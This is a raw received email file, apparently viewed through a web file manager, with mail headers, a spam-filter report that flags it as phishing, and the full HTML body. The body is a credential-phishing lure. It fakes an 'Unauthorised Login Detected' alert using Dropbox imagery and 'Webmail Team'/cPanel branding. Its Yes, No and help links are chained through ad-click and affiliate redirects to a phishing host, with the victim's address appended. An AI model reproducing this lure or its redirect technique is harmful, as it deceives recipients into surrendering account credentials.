OwlCyberSecurity - MANAGER
Edit File: 1745518989.M652246P2960436.premium128.web-hosting.com,S=17233,W=17499:2,
Return-Path: <info@server2096.cc> Delivered-To: meziane.ouarouf+spam@gourayafroid.com Received: from premium128.web-hosting.com by premium128.web-hosting.com with LMTP id mNtMHI2BCmg0LC0AAvhI2g (envelope-from <info@server2096.cc>) for <meziane.ouarouf+spam@gourayafroid.com>; Thu, 24 Apr 2025 14:23:09 -0400 Return-path: <info@server2096.cc> Envelope-to: meziane.ouarouf@gourayafroid.com Delivery-date: Thu, 24 Apr 2025 14:23:09 -0400 Received: from [198.23.221.49] (port=33028 helo=server2096.cc) by premium128.web-hosting.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.98.1) (envelope-from <info@server2096.cc>) id 1u81E1-0000000CR1P-3Px8 for meziane.ouarouf@gourayafroid.com; Thu, 24 Apr 2025 14:23:08 -0400 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; s=re1; d=server2096.cc; h=From:To:Subject:Date:Message-ID:MIME-Version:Content-Type: Content-Transfer-Encoding; i=info@server2096.cc; bh=3LTX+/CkmCzZHHXPkpZMiSfn2hB1ofn16VyQZZwqa44=; b=BwhpJQIFh86Xtdohtl5fhFlrgr8h1+uRDGV+dZJaHkFCu8iatVsMJ4uLiMdjvnm45T4sFEEZ1BKh GPWatKAU3hs1YQ6eIkhTeKSNIcXPkt5TsYp/QMro5NcDoanCfjK1/1ox1gZZo/iVSh9RLjg44Nte Frejh9Q6KBo+jJT807y86eOHfcFam/a8IkIh5hBLvUYXyROEsVAEcNDV2dir2kikOkIr62kO5axr gJg7bpOShfqscO/H8tNdkS5NzT1AYoDCVKG404prq5FC1ANf20h4ykZz1kxkiBFWKKs/76tJ/DqD Icurx0jFQJzZP0BnvVuV1DXNmx1VIsMT4pKYVQ== From: "Security Risk" <info@server2096.cc> To: meziane.ouarouf@gourayafroid.com Date: 23 Apr 2025 17:58:23 +0200 Message-ID: <20250423175823.44FD7D66210E7262@server2096.cc> MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: quoted-printable X-Spam-Status: Yes, score=12.2 X-Spam-Score: 122 X-Spam-Bar: ++++++++++++ X-Spam-Report: Spam detection software, running on the system "premium128.web-hosting.com", has identified this incoming email as possible spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: Hi meziane.ouarouf, A new computer just signed in to your meziane.ouarouf@gourayafroid.com account. To help keep your account secure, let us know if this is you. Content analysis details: (12.2 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.1 URIBL_CSS_A Contains URL's A record listed in the Spamhaus CSS blocklist [URI: server2096.cc/198.23.221.49] 1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net [Blocked - see <https://www.spamcop.net/bl.shtml?198.23.221.49>] 0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was blocked. See http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block for more information. [URI: server2096.cc] [URI: digidip.net] [URI: doubleclick.net] [URI: dropboxstatic.com] [URI: summary.sa.com] 0.5 PCCC_BAD_FREE_URI Body contains URI listed in PCCC WILD RBL (https://raptor.pccc.com/RBL) [URI: summary.sa.com] 2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the Spamhaus DBL blocklist [URI: server2096.cc] 0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [198.23.221.49 listed in bl.score.senderscore.com] 0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [198.23.221.49 listed in sa-accredit.habeas.com] 0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to Validity was blocked. See https://knowledge.validity.com/hc/en-us/articles/20961730681243 for more information. [198.23.221.49 listed in sa-trusted.bondedsender.org] -0.0 SPF_PASS SPF: sender matches SPF record -0.0 SPF_HELO_PASS SPF: HELO matches SPF record -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's domain 0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid -0.1 DKIM_VALID_EF Message has a valid DKIM or DK signature from envelope-from domain -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature 0.5 DATE_IN_PAST_24_48 Date: is 24 to 48 hours before Received: date 2.0 KAM_2TLD_PROBLEMS URI: Problematic 2TLD handlers being abused 0.0 T_MXG_EMAIL_FRAG BODY: URI with email in fragment 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.0 HTML_MESSAGE BODY: HTML included in message 0.5 KAM_REALLYHUGEIMGSRC RAW: Spam with image tags with ridiculously huge http urls 3.0 KAM_SA_ZA_ABUSE 2TLD Providers prevalent in spam abuse 2.0 RDNS_NONE Delivered to internal network by a host with no rDNS X-Spam-Flag: YES Subject: ***SPAM*** Unauthorised Login Detected meziane.ouarouf@gourayafroid.com <!DOCTYPE HTML> <html><head><title></title> <meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge"> </head> <body style=3D"margin: 0.4em; font-size: 14pt;"> <div style=3D"color: rgb(34, 34, 34); text-transform: none; text-indent: 0p= x; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-= size: small; font-style: normal; font-weight: 400; word-spacing: 0px; white= -space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255)= ; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-s= troke-width: 0px; text-decoration-thickness: initial; text-decoration-style= : initial; text-decoration-color: initial;"><u></u> <div style=3D"margin: 0px; padding: 0px; width: 1292px;" marginheight=3D"0"= marginwidth=3D"0"> <table align=3D"center" style=3D"border-radius: 4px; border: 1px solid rgb(= 220, 234, 245); border-image: none; color: rgb(34, 34, 34); text-transform:= none; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; f= ont-size: small; font-style: normal; font-weight: 400; word-spacing: 0px; w= hite-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, = 255); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-te= xt-stroke-width: 0px; text-decoration-thickness:=20 initial; text-decoration-style: initial; text-decoration-color: initial;" b= order=3D"0" cellspacing=3D"0" cellpadding=3D"0"><tbody><tr style=3D"line-he= ight: 0px;"><td width=3D"100%" height=3D"1" align=3D"center" style=3D"margi= n: 0px; font-size: 0px;"> <img width=3D"40" class=3D"CToWUd" style=3D"width: 40px; max-height: 73px;"= alt=3D"" src=3D"https://ci3.googleusercontent.com/meips/ADKq_NaNfuLA6keZr-= e5JWp6ac_j2CRP4nCpBpnhKprpxCR3KkZTTH304ae4DSQXWJizOdfRz5dhBiozF-pQa-H0sUSVM= S6IJTAEulPBxe4X5hTQaLIE75j2fm_EDotRvdFMCZnPtwjHlg0t4aOqQsFn8pplxB4N=3Ds0-d-= e1-ft#https://cfl.dropboxstatic.com/static/metaserver/static/images/emails/= logo_glyph_34_m1%402x.png" data-bit=3D"iit" height=3D"73"></td></tr><tr><td= style=3D"margin: 0px;"> <table align=3D"center" style=3D"line-height: 25px;" border=3D"0" cellspaci= ng=3D"0" cellpadding=3D"0"><tbody><tr><td height=3D"30" style=3D"margin: 0p= x;" colspan=3D"3"></td></tr><tr><td width=3D"36" style=3D"margin: 0px;"></t= d><td width=3D"454" align=3D"left" valign=3D"top" style=3D'margin: 0px; col= or: rgb(68, 68, 68); font-family: proxima_nova, "Open Sans", "Lucida Grande= ", "Segoe UI", Arial, Verdana, "Lucida Sans Unicode", Tahoma, "Sans Serif";= font-size: 11pt; border-collapse: collapse; max-width: 454px;'> Hi meziane.ouarouf,<br> <br>A new computer just signed in to your meziane.ouarouf@gourayafroid= =2Ecom account. To help keep your account secure, let us know if this is yo= u.<br><br><table style=3D"background: rgb(232, 242, 250); border-radius: 4p= x; width: 454px;"><tbody><tr><td height=3D"16" style=3D"margin: 0px;"></td>= <td height=3D"16" style=3D"margin: 0px;"></td><td height=3D"16" style=3D"ma= rgin: 0px;"></td></tr><tr><td width=3D"20" style=3D"margin: 0px;"></td><td = style=3D"margin: 0px;"><span style=3D"text-align: center; color: rgb(68, 68= , 68);"><b> Is this you?</b> </span><table align=3D"center" style=3D"color: rgb(68, 68, 68); font-size: = 14px;" border=3D"0" cellspacing=3D"0" cellpadding=3D"0"><tbody><tr><td heig= ht=3D"10" style=3D"margin: 0px;"></td><td height=3D"10" style=3D"margin: 0p= x;"></td></tr><tr valign=3D"top"><td width=3D"90" style=3D"margin: 0px;">Wh= ere:</td><td style=3D"margin: 0px;"><b>an unknown location</b></td></tr><tr= valign=3D"top"><td width=3D"90" style=3D"margin: 0px;">When:</td><td style= =3D"margin: 0px;"><b>4/23/2025 5:58:23 p.m.</b></td></tr> <tr valign=3D"top"><td width=3D"90" style=3D"margin: 0px;">What:</td><td st= yle=3D"margin: 0px;"><b>Desktop Client on Windows 11 26100</b></td></tr><tr= ><td height=3D"16" style=3D"margin: 0px;"></td><td height=3D"16" style=3D"m= argin: 0px;"></td></tr></tbody></table><table align=3D"center" style=3D"tex= t-align: center;" border=3D"0" cellspacing=3D"0" cellpadding=3D"0"><tbody><= tr><td width=3D"124" style=3D"margin: 0px;"> <a style=3D'border-width: 1px; border-style: solid; border-color: rgb(191, = 191, 191) rgb(177, 177, 177) rgb(170, 170, 170); margin: 0px; padding: 7px;= border-radius: 3px; width: 97px; text-align: center; color: rgb(119, 119, = 119); font-family: proxima_nova, "Open Sans", "lucida grande", "Segoe UI", = arial, verdana, "lucida sans unicode", tahoma, sans-serif; font-size: 14px;= text-decoration: none; display: block; max-width: 97px; background-color: = rgb(243, 243, 243);'=20 href=3D"https://googleads.g.doubleclick.net/pcs/click?xai=3DAKAOjssIdZGtK2L= Gw4coQMwtQcONuf8cVZUVHUrlFgT33_wiLCuxpoweUvHdBH9neY4iW-CZh2SzgITptx6j64F0B2= pEU0uoeRfmKTeyn7LSG5Irubqjv6IFl9MeqTp84ZT99WRJlZDMgrwUaUI7QjgNwL22AVveJm980= wuVNryiILT2WhxCPmcY8M7PVIOygAXT_382p7PUn7bIByn2OjlTfCiaqta3tAhZWCuROeXZPznm= 5cGhgUYspVywPb8Y8GbuT5pyEUyF89icmqe5zg&sig=3DCg0ArKJSzFtr0kI2Y6Ll&adurl=3Dh= ttps://knoji.digidip.net/visit?url=3Dhttps://anti-crise.digidip.net/visit?u= rl=3Dhttps://summary.sa.com#meziane.ouarouf@gourayafroid.com " target=3D"_b= lank" data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttps://www.dr= opbox.com/l/AACC_APInJT7ZFAivKJRGksUFfyT7bC2H0c&source=3Dgmail&ust= =3D1745411698442000&usg=3DAOvVaw1LOH15S6TpsU_2DLrwmz9A">Yes</a></td><td= style=3D"margin: 0px;"></td><td width=3D"124" height=3D"0px" style=3D"marg= in: 0px;"> <a style=3D'border-width: 1px; border-style: solid; border-color: rgb(191, = 191, 191) rgb(177, 177, 177) rgb(170, 170, 170); margin: 0px; padding: 7px;= border-radius: 3px; width: 97px; text-align: center; color: rgb(119, 119, = 119); font-family: proxima_nova, "Open Sans", "lucida grande", "Segoe UI", = arial, verdana, "lucida sans unicode", tahoma, sans-serif; font-size: 14px;= text-decoration: none; display: block; max-width: 97px; background-color: = rgb(243, 243, 243);'=20 href=3D"https://googleads.g.doubleclick.net/pcs/click?xai=3DAKAOjssIdZGtK2L= Gw4coQMwtQcONuf8cVZUVHUrlFgT33_wiLCuxpoweUvHdBH9neY4iW-CZh2SzgITptx6j64F0B2= pEU0uoeRfmKTeyn7LSG5Irubqjv6IFl9MeqTp84ZT99WRJlZDMgrwUaUI7QjgNwL22AVveJm980= wuVNryiILT2WhxCPmcY8M7PVIOygAXT_382p7PUn7bIByn2OjlTfCiaqta3tAhZWCuROeXZPznm= 5cGhgUYspVywPb8Y8GbuT5pyEUyF89icmqe5zg&sig=3DCg0ArKJSzFtr0kI2Y6Ll&adurl=3Dh= ttps://knoji.digidip.net/visit?url=3Dhttps://anti-crise.digidip.net/visit?u= rl=3Dhttps://summary.sa.com#meziane.ouarouf@gourayafroid.com " target=3D"_b= lank" data-saferedirecturl=3D"https://www.google.com/url?q=3Dhttps://www.dr= opbox.com/l/AADhrpgNRcgae0kNHVVk-R75jtaXm8v-yCs&source=3Dgmail&ust= =3D1745411698442000&usg=3DAOvVaw2xBrBjciibxAnd1gG5vRNG">No</a></td></tr= ></tbody></table><table align=3D"left" style=3D"text-align: left;" border= =3D"0" cellspacing=3D"0" cellpadding=3D"0"><tbody><tr align=3D"left"><td wi= dth=3D"97" height=3D"0px" style=3D"margin: 0px;"><br></td> <td width=3D"0px" height=3D"0px" style=3D"margin: 0px;"><br></td></tr></tbo= dy></table><br><a style=3D"color: rgb(17, 85, 204);" href=3D"https://google= ads.g.doubleclick.net/pcs/click?xai=3DAKAOjssIdZGtK2LGw4coQMwtQcONuf8cVZUVH= UrlFgT33_wiLCuxpoweUvHdBH9neY4iW-CZh2SzgITptx6j64F0B2pEU0uoeRfmKTeyn7LSG5Ir= ubqjv6IFl9MeqTp84ZT99WRJlZDMgrwUaUI7QjgNwL22AVveJm980wuVNryiILT2WhxCPmcY8M7= PVIOygAXT_382p7PUn7bIByn2OjlTfCiaqta3tAhZWCuROeXZPznm5cGhgUYspVywPb8Y8GbuT5= pyEUyF89icmqe5zg&sig=3DCg0ArKJSzFtr0kI2Y6Ll&adurl=3Dhttps://knoji.digidip.n= et/visit?url=3Dhttps://anti-crise.digidip.net/visit?url=3Dhttps://summary.s= a.com#meziane.ouarouf@gourayafroid.com " target=3D"_blank" data-saferedirec= turl=3D"https://www.google.com/url?q=3Dhttps://www.dropbox.com/l/AACbD3TdSJ= n-d09OK0ga0eV-0UO_gcwKTBY&source=3Dgmail&ust=3D1745411698442000&= ;usg=3DAOvVaw0xpMXqAliXIOZ1ihFKvqLO">I'm not sure</a><br></td><td width=3D"= 20" style=3D"margin: 0px;"></td></tr><tr> <td height=3D"20" style=3D"margin: 0px;"></td><td height=3D"20" style=3D"ma= rgin: 0px;"></td><td height=3D"20" style=3D"margin: 0px;"></td></tr></tbody= ></table><br>Learn more on how to<span> </span> <a style=3D"color: rgb(17, 85, 204);" href=3D"https://googleads.g.doublecli= ck.net/pcs/click?xai=3DAKAOjssIdZGtK2LGw4coQMwtQcONuf8cVZUVHUrlFgT33_wiLCux= poweUvHdBH9neY4iW-CZh2SzgITptx6j64F0B2pEU0uoeRfmKTeyn7LSG5Irubqjv6IFl9MeqTp= 84ZT99WRJlZDMgrwUaUI7QjgNwL22AVveJm980wuVNryiILT2WhxCPmcY8M7PVIOygAXT_382p7= PUn7bIByn2OjlTfCiaqta3tAhZWCuROeXZPznm5cGhgUYspVywPb8Y8GbuT5pyEUyF89icmqe5z= g&sig=3DCg0ArKJSzFtr0kI2Y6Ll&adurl=3Dhttps://knoji.digidip.net/visit?url=3D= https://anti-crise.digidip.net/visit?url=3Dhttps://summary.sa.com#meziane.o= uarouf@gourayafroid.com " target=3D"_blank" data-saferedirecturl=3D"https:/= /www.google.com/url?q=3Dhttps://www.dropbox.com/l/AACBsZ-QXKG1gPq9T2dGKJDLh= tLRNKglBgM/help/1973&source=3Dgmail&ust=3D1745411698442000&usg= =3DAOvVaw329LNsyqw2spzeSpq6_SBw">protect your account</a>.<br><br>Thanks,<b= r>- The Webmail Team<br></td><td width=3D"36" style=3D"margin: 0px;"><= /td></tr><tr> <td height=3D"36" style=3D"margin: 0px;" colspan=3D"3"></td></tr></tbody></= table></td></tr></tbody></table> <table align=3D"center" style=3D"color: rgb(34, 34, 34); text-transform: no= ne; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font= -size: small; font-style: normal; font-weight: 400; word-spacing: 0px; whit= e-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255= ); font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-= stroke-width: 0px; text-decoration-thickness: initial; text-decoration-styl= e: initial; text-decoration-color: initial;"=20 border=3D"0" cellspacing=3D"0" cellpadding=3D"0"><tbody><tr><td height=3D"1= 0" style=3D"margin: 0px;"></td></tr><tr><td style=3D"margin: 0px; padding: = 0px; border-collapse: collapse;"><table align=3D"center" border=3D"0" cells= pacing=3D"0" cellpadding=3D"0"><tbody><tr style=3D'color: rgb(168, 185, 198= ); font-family: proxima_nova, "Open Sans", "Lucida Grande", "Segoe UI", Ari= al, Verdana, "Lucida Sans Unicode", Tahoma, "Sans Serif"; font-size: 11px;'= ><td width=3D"400" align=3D"left" style=3D"margin: 0px;"></td> <td width=3D"128" align=3D"right" style=3D"margin: 0px;">© 2025 Cpanel= </td></tr></tbody></table></td></tr></tbody></table></div></div><p> <br style=3D"color: rgb(34, 34, 34); text-transform: none; text-indent: 0px= ; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-s= ize: small; font-style: normal; font-weight: 400; word-spacing: 0px; white-= space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255);= font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-st= roke-width: 0px; text-decoration-thickness: initial; text-decoration-style:= initial; text-decoration-color: initial;"></p> <div style=3D"color: rgb(34, 34, 34); text-transform: none; text-indent: 0p= x; letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-= size: small; font-style: normal; font-weight: 400; word-spacing: 0px; white= -space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255)= ; font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-s= troke-width: 0px; text-decoration-thickness: initial; text-decoration-style= : initial; text-decoration-color: initial;"><br> </div></body></html>